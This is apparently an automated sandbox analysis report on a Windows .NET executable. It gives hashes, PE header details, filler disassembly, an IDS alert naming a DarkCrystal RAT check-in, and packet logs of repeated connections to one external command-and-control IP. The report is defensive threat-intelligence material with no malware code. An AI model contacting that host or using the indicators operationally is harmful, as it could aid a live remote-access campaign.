TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.79% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Win16/32 Executable Delphi generic (2074/23) 0.01%
File name:	fDTPlvsGfH.exe
File size:	2'669'568 bytes
MD5:	b8298ee526bb093e3c96686d26d1361f
SHA1:	583ff162c74e864d77323b76355f175aab170e1f
SHA256:	08d8919249b3f442106283b5a413eaff6b6b3d9ca76ec7c3a88101b54bab0fe4
SHA512:	34211f5274fb5791b25fd16b352c5b56305e1d067df8f3974ff0d2d0f03f976e083451d725afbb07a9533886953b9c58c6b9a41ccfa884b1e4604756c03fbf5a
SSDEEP:	24576:jKzVgGWEP/Cw7sULqPyZwSxIshFQb8mu0c3jlCjH5xdL9UvGigW261+:ezVhP5lwSxXAlpW
TLSH:	44C57D343DEB102AB173EFA58AE4749ADA6FF6B33B07585E205103864713A81DDD163E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..........".......(...........(.. ....(...@.. ....................... ).......)...@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x68d3ce
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6507AC75 [Mon Sep 18 01:48:37 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x28d37c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x28e000	0x370	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x290000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x28b3d4	0x28b400	ef20a52dcb3e1d31870afa995ed1fdfc	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x28e000	0x370	0x400	2ffb75f85312317934221c41dbe5a9af	False	0.37890625	data	2.865400005536527	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x290000	0xc	0x200	bccc878290eb21ce22166d068a97c9a1	False	0.044921875	data	0.09800417566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x28e058	0x318	data			0.44823232323232326

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/20/24-00:42:09.487448	TCP	2048095	ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST)	49730	80	192.168.2.4	109.107.182.145

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 20, 2024 00:42:09.226810932 CEST	49730	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:09.485816002 CEST	80	49730	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:09.485924006 CEST	49730	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:09.487447977 CEST	49730	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:09.746467113 CEST	80	49730	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:09.746531963 CEST	80	49730	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:09.747986078 CEST	49730	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:10.006705999 CEST	80	49730	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:10.218797922 CEST	80	49730	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:10.218857050 CEST	80	49730	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:10.218895912 CEST	80	49730	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:10.218941927 CEST	49730	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:10.218941927 CEST	49730	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:10.218941927 CEST	49730	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:10.469775915 CEST	49730	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:10.548527002 CEST	49731	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:10.728530884 CEST	80	49730	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:10.728586912 CEST	80	49730	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:10.728864908 CEST	49730	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:10.810034990 CEST	80	49731	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:10.810168028 CEST	49731	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:10.810338020 CEST	49731	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:10.987584114 CEST	80	49730	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:10.994282007 CEST	80	49730	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:11.071886063 CEST	80	49731	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:11.072000027 CEST	80	49731	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:11.113296986 CEST	49730	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:11.144570112 CEST	49731	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:11.575651884 CEST	49731	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:11.827111006 CEST	49730	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:11.827825069 CEST	49732	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:11.837660074 CEST	80	49731	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:11.845197916 CEST	80	49731	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:11.855978966 CEST	49731	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:12.095597982 CEST	80	49730	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:12.095659971 CEST	80	49732	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:12.095752954 CEST	49730	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:12.095813990 CEST	49732	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:12.117322922 CEST	80	49731	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:12.117358923 CEST	80	49731	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:12.172900915 CEST	49732	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:12.173356056 CEST	49731	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:12.436295033 CEST	80	49732	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:12.436400890 CEST	80	49732	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:12.437046051 CEST	49732	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:12.437105894 CEST	80	49731	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:12.444468975 CEST	80	49731	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:12.454757929 CEST	49731	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:12.698928118 CEST	80	49732	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:12.706577063 CEST	80	49732	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:12.716178894 CEST	80	49731	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:12.834356070 CEST	49731	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:12.896401882 CEST	49732	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:13.096190929 CEST	80	49731	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:13.104340076 CEST	80	49731	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:13.144583941 CEST	49731	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:13.230130911 CEST	49731	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:13.230206013 CEST	49732	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:13.231128931 CEST	49733	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:13.489763975 CEST	80	49733	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:13.489857912 CEST	49733	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:13.490075111 CEST	49733	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:13.491657972 CEST	80	49731	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:13.491714954 CEST	49731	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:13.491839886 CEST	80	49732	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:13.492449999 CEST	49732	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:13.748420000 CEST	80	49733	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:13.748466015 CEST	80	49733	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:13.748842001 CEST	49733	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:14.007759094 CEST	80	49733	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:14.015285015 CEST	80	49733	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:14.097440004 CEST	49733	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:14.246320009 CEST	49734	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:14.507729053 CEST	80	49734	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:14.507821083 CEST	49734	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:14.507934093 CEST	49734	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:14.769330025 CEST	80	49734	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:14.769402027 CEST	80	49734	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:14.771763086 CEST	49734	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:15.033134937 CEST	80	49734	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:15.039835930 CEST	80	49734	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:15.144582033 CEST	49734	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:15.271706104 CEST	49734	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:15.271914959 CEST	49735	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:15.533389091 CEST	80	49735	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:15.533468008 CEST	49735	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:15.533597946 CEST	49735	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:15.534070015 CEST	80	49734	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:15.534137964 CEST	49734	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:15.791974068 CEST	80	49735	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:15.791995049 CEST	80	49735	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:15.792200089 CEST	49735	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:16.051384926 CEST	80	49735	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:16.058840990 CEST	80	49735	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:16.192065954 CEST	49735	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:16.940745115 CEST	49736	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:16.954248905 CEST	49735	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:17.199311018 CEST	80	49736	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:17.199392080 CEST	49736	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:17.207940102 CEST	49736	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:17.212604046 CEST	80	49735	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:17.212677002 CEST	49735	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:17.466484070 CEST	80	49736	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:17.466619968 CEST	80	49736	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:17.467660904 CEST	49736	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:17.610560894 CEST	49733	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:17.726310968 CEST	80	49736	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:17.726330042 CEST	80	49736	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:17.734189034 CEST	80	49736	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:17.849921942 CEST	49740	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:17.850085020 CEST	49736	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:18.110522032 CEST	80	49736	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:18.110579967 CEST	49736	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:18.111733913 CEST	80	49740	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:18.111813068 CEST	49740	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:18.111947060 CEST	49740	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:18.373600006 CEST	80	49740	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:18.373658895 CEST	80	49740	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:18.373832941 CEST	49740	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:18.635281086 CEST	80	49740	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:18.635376930 CEST	80	49740	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:18.641175985 CEST	80	49740	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:18.691457987 CEST	49740	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:18.956262112 CEST	49740	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:18.959975958 CEST	49741	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:19.217818022 CEST	80	49740	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:19.217957020 CEST	49740	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:19.218400002 CEST	80	49741	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:19.218480110 CEST	49741	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:19.241514921 CEST	49741	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:19.500184059 CEST	80	49741	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:19.500226021 CEST	80	49741	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:19.500390053 CEST	49741	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:19.764666080 CEST	80	49741	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:19.771672964 CEST	80	49741	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:19.929294109 CEST	49741	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:20.004590988 CEST	49744	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:20.187757015 CEST	80	49741	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:20.187817097 CEST	49741	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:20.263267040 CEST	80	49744	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:20.263380051 CEST	49744	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:20.263535976 CEST	49744	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:20.521883965 CEST	80	49744	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:20.522178888 CEST	80	49744	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:20.522360086 CEST	49744	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:20.785996914 CEST	80	49744	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:20.788465023 CEST	80	49744	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:20.988348961 CEST	49744	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:21.255433083 CEST	49744	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:21.255837917 CEST	49747	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:21.513920069 CEST	80	49744	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:21.514000893 CEST	49744	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:21.517215014 CEST	80	49747	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:21.517321110 CEST	49747	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:21.517446041 CEST	49747	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:21.779450893 CEST	80	49747	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:21.779643059 CEST	80	49747	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:21.779851913 CEST	49747	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:22.041585922 CEST	80	49747	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:22.041641951 CEST	80	49747	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:22.047909975 CEST	80	49747	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:22.097718000 CEST	49747	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:23.662331104 CEST	49748	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:23.662457943 CEST	49747	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:23.924017906 CEST	80	49748	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:23.924141884 CEST	80	49747	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:23.924217939 CEST	49747	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:23.924264908 CEST	49748	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:23.925194025 CEST	49748	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:24.186964989 CEST	80	49748	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:24.187011003 CEST	80	49748	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:24.187284946 CEST	49748	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:24.448807001 CEST	80	49748	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:24.459186077 CEST	80	49748	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:24.553512096 CEST	49748	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:27.384643078 CEST	49748	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:27.385104895 CEST	49752	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:27.643650055 CEST	80	49752	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:27.643731117 CEST	49752	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:27.643850088 CEST	49752	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:27.646195889 CEST	80	49748	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:27.646260977 CEST	49748	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:27.902666092 CEST	80	49752	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:27.902728081 CEST	80	49752	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:27.902925968 CEST	49752	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:28.161616087 CEST	80	49752	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:28.161673069 CEST	80	49752	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:28.168226004 CEST	80	49752	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:28.300837040 CEST	49752	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:28.776335001 CEST	49752	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:28.776838064 CEST	49754	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:29.035192966 CEST	80	49752	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:29.035356045 CEST	80	49754	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:29.035372019 CEST	49752	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:29.035448074 CEST	49754	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:30.410389900 CEST	49754	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:30.411398888 CEST	49755	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:30.421940088 CEST	49754	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:30.668885946 CEST	80	49754	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:30.668905020 CEST	80	49754	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:30.668992996 CEST	49754	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:30.672852993 CEST	80	49755	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:30.673049927 CEST	49755	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:30.673126936 CEST	49755	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:30.680434942 CEST	80	49754	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:30.680490017 CEST	49754	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:30.687391043 CEST	49756	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:30.934573889 CEST	80	49755	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:30.934751987 CEST	80	49755	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:30.934984922 CEST	49755	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:30.948901892 CEST	80	49756	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:30.948982000 CEST	49756	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:30.949116945 CEST	49756	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:31.196788073 CEST	80	49755	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:31.196811914 CEST	80	49755	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:31.203511000 CEST	80	49755	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:31.210530043 CEST	80	49756	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:31.210805893 CEST	80	49756	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:31.210951090 CEST	49756	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:31.300851107 CEST	49755	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:31.473639011 CEST	80	49756	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:31.473664045 CEST	80	49756	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:31.481822968 CEST	80	49756	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:31.644583941 CEST	49756	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:33.713099957 CEST	49756	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:33.713212013 CEST	49755	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:33.713306904 CEST	49757	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:33.972693920 CEST	80	49757	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:33.972773075 CEST	49757	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:33.973138094 CEST	49757	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:33.975641966 CEST	80	49756	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:33.975656986 CEST	80	49755	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:33.975703955 CEST	49756	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:33.975734949 CEST	49755	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:34.231623888 CEST	80	49757	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:34.231642962 CEST	80	49757	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:34.231827021 CEST	49757	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:34.490422964 CEST	80	49757	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:34.498224020 CEST	80	49757	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:34.597714901 CEST	49757	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:34.702960968 CEST	49758	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:34.964473963 CEST	80	49758	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:34.965543985 CEST	49758	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:34.965663910 CEST	49758	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:35.227494955 CEST	80	49758	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:35.227514029 CEST	80	49758	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:35.227699995 CEST	49758	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:35.489408970 CEST	80	49758	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:35.496387959 CEST	80	49758	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:35.611176014 CEST	49758	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:35.611557961 CEST	49759	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:35.747721910 CEST	49757	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:35.870626926 CEST	80	49759	109.107.182.145	192.168.2.4
Apr 20, 2024 00:42:35.870891094 CEST	49759	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:35.870891094 CEST	49759	80	192.168.2.4	109.107.182.145
Apr 20, 2024 00:42:35.873778105 CEST	80	49758	109.107.182.145	192.168.2.4
